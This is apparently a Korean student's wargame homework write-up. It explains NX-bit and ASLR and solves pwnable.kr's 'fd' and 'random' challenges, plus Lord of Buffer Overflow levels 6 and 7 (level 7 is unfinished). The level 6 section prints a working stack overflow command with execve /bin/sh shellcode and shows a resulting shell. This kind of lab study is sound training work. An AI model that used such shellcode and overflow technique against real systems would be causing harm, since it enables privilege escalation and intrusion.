시스템 해킹 스터디

과제 (03)

구본현

목차

1. NX-bit, ASLR 보호기법 조사

A. NX-bit

NX-bit 는 스택에 실행권한을 주지 않는 기법이다.

NO eXecute, Never eXecute bit 는 메모리에서 데이터 영역을 실행하는 것을 방지하는 기능이다.

이를 통해 BOP 으로 쉘 코드를 실행 시키는 것을 방지한다.

인텔 CPU NX	XD(eXe-Disable)
암드 CPU NX	EVP(Enhanced Virus Protection)
윈도우 기능 NX	DEP(Data Execution Prevention)

운영체제, CPU 에 있는 NX-bit 기능의 명명

과거 ASLR 이 없는 OS 의 취약점을 분석할 때엔, 찾는 메모리 주소를 외워서 공격을 시도해보는 것이 가능했었다.

윈도우 XP 부터 DEP 가 추가됐지만 ASLR 이 없었기 때문에 RTL 공격에 취약했었다.

B. ASLR

현재엔 모든 OS 에 ASLR 이 동작하게 되면서 그 주소를 매 때에 찾거나 ASLR 기능을 공격하는 방법을

Address Space Layout Randomization 은 프로세스의 가상 주소공간에 heap, stack, libc 등이 mapping 될 때 그 위치를 프로그램 실행 시 마다 랜덤하게 변경하는 기법이다.

윈도우 운영체제는 Vista 부터 추가되었다.

2. pwnalbe.kr fd 풀이

```
-r-sr-x---  1 fd_pwn fd    7322 Jun 11  2014 fd
-rw-r--r--  1 root   root   418 Jun 11  2014 fd.c
-r--r-----  1 fd_pwn root    50 Jun 11  2014 flag
```

열어보면 flag 파일은 실행 할 수 없게 되어있다.

```
fd@ubuntu:~$ cat fd.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
        if(argc<2){
                printf("pass argv[1] a number\n");
                return 0;
        }
        int fd = atoi( argv[1] ) - 0x1234;
        int len = 0;
        len = read(fd, buf, 32);
        if(!strcmp("LETMEWIN\n", buf)){
                printf("good job :)\n");
                system("/bin/cat flag");
                exit(0);
        }
        printf("learn about Linux file IO\n");
        return 0;

}
```

c 파일을 열어보면 'fd'파일을 조작해야 flag 를 실행 할 수 있다는 것을 알 수 있다.

입력 받은 'argv'를 정수형으로 변환해 4660 만큼 빼준 뒤 'read 함수'로 빼준 값 'fd'에 따라 'buf'를 어떻게 처리 할 지 결정하고 있다.

즉 read 함수의 첫번째 인자인 파일 디스크럽터를 0 으로 맞춰 입력을 유도하고 "LETMEWIN" 을 입력하면 된다.

```
fd@ubuntu:~$ ./fd 4660
LETMEWIN
good job :)
mommy! I think I know what a file descriptor is!!
```

*FD(File Descripter)
특정한 파일에 접근하기 위한 추상적인 키이다.

표준 POSIX FD

파일 디스크립터	목적	POSIX 이름	stdio 스트림
0	표준 입력	STDIN_FILENO	stdin
1	표준 출력	STDOUT_FILENO	stdout
2	표준 에러	STDERR_FILENO	stderr

3. pwnalbe.kr random 풀이

마찬가지로 random 파일을 통해 flag 를 실행시켜야 한다.

```
int main(){
        unsigned int random;
        random = rand();        // random value!

        unsigned int key=0;
        scanf("%d", &key);

        if( (key ^ random) == 0xdeadbeef ){
                printf("Good!\n");
                system("/bin/cat flag");
                return 0;
        }

        printf("Wrong, maybe you should try 2^32 cases.\n");
        return 0;
}
```

XOR 법칙

A ^ B == C

A ^ C == B

C ^ B == A

입력 받은 'key'의 값과 'rand()'의 값을 xor 시킨 값이 0xdeadbeef(10 진수로 '3735928559')가 되면 flag 가 실행된다.

이때 rand()함수에 별도의 키 값이 처리되지 않는다. 이렇게 되면 난수 배열에 있는 항상 동일한 값이 나오게 된다.

```
random@ubuntu:~$ ltrace ./random
__libc_start_main(0x4005f4, 1, 0x7ffe09ace858, 0x400670 <unfinished ...>
rand(1, 0x7ffe09ace858, 0x7ffe09ace868, 0)
__isoc99_scanf(0x400760, 0x7ffe09ace768, 0x7ffe09ace768, 0x7fd2a706b0a4
```

`= 0x6b8b4567` ltrace 를 통해 rand()의 결과값을 찾았다.

따라서 0x6b8b4567^0xdeadbeef 의 결과인 0xb526fb88

10 진수로 3039230856 을 넣어주면 완료된다.

```
random@ubuntu:~$ ./random
3039230856
Good!
Mommy, I thought libc random is unpredictable...
```

.

4. LOB 6 번 풀이

```
// egghunter
for(i=0; environ[i]; i++)
        memset(environ[i], 0, strlen(environ[i]));

if(argv[1][47] != '\xbf')
{
        printf("stack is still your friend.\n");
        exit(0);
}

// check the length of argument
if(strlen(argv[1]) > 48){
        printf("argument is too long!\n");
        exit(0);
}

strcpy(buffer, argv[1]);
printf("%s\n", buffer);

// buffer hunter
memset(buffer, 0, 40);
```

이번엔 에그 헌터, 버퍼 헌터와 함께 입력 값의 길이를 체크하는 부분이 추가되었다.

이번에도 첫째 주소가 '₩xbf'여야 한다는 점을 주의하며 메모리를 추적해 쉘을 올려주면 될 것이다.

```
(gdb) b *main+237
Breakpoint 1 at 0x80485ed
(gdb) r `python -c 'print "\xbf"*48'` `python -c 'print "A"*100'`
Starting program: /home/wolfman/1 `python -c 'print "\xbf"*48'` `python -c 'prin
t "A"*100'`
```

```
0xbffffc14:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffffc24:     0xbfbfbfbf      0x41414100      0x41414141      0x41414141
0xbffffc34:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffc44:     0x41414141      0x41414141      0x41414141      0x41414141
```

0xbffffc24 가 가능해 보인다.

```
[wolfman@localhost wolfman]$ ./darkelf 'python -c 'print "A"*44 + "\x24\xfc\xff\
xbf"'' 'python -c 'print "\x90"*100 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\
x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\
xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"''
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$üÿ¿
bash$ whoami
darkelf
bash$ my-pass
euid = 506
kernel crashed
```

성공했다.

5. LOB 7 번 풀이(X)

```
// here is changed!
if(strlen(argv[0]) != 77){
        printf("argv[0] error\n");
        exit(0);
}
```

앞 문제와 다르게 이번엔 파일의 경로의 문자 개수를 확인하는 문장이 추가되었다. 그렇기에 '심볼릭 링크'를 이용할 것이다.

```
[darkelf@localhost darkelf]$ ls
1                                                                orge    shell
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  orge.c
[darkelf@localhost darkelf]$
```

'/home/darkelf' 라는 절대 주소까지 생각해 이름이 59 자인 링크를 만들었다. 만약 gdb 를 사용하지 않고 상대주소를 사용해서 풀 것이라면 아래처럼 75 자인 링크를 만들어 상대주소와 함께 이용 할 수 있다.

```
[darkelf@localhost darkelf]$ ls
1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
orge
orge.c
shell
```

```
0x8048613 <main+275>:   call   0x8048440 <strcpy>
0x8048618 <main+280>:   add    %esp,8
0x804861b <main+283>:   lea    %eax,[%ebp-40]
0x804861e <main+286>:   push   %eax
0x804861f <main+287>:   push   0x80486df
0x8048624 <main+292>:   call   0x8048410 <printf>
0x8048629 <main+297>:   add    %esp,8
0x804862c <main+300>:   push   40
---Type <return> to continue, or q <return> to quit---
0x804862e <main+302>:   push   0
0x8048630 <main+304>:   lea    %eax,[%ebp-40]
0x8048633 <main+307>:   push   %eax
0x8048634 <main+308>:   call   0x8048430 <memset>
0x8048639 <main+313>:   add    %esp,12
0x804863c <main+316>:   leave
0x804863d <main+317>:   ret
0x804863e <main+318>:   nop
0x804863f <main+319>:   nop
End of assembler dump.
(gdb) b *main+275
Breakpoint 1 at 0x8048613
```

마찬가지로 strcpy 전까지 브레이크포인트를 걸어준다.

*심볼릭 링크 (명령어 ln) 윈도우 운영체제의 '바로가기'와 유사하다. (하드링크 제외)

gdb 는 파일을 절대주소로 실행한다.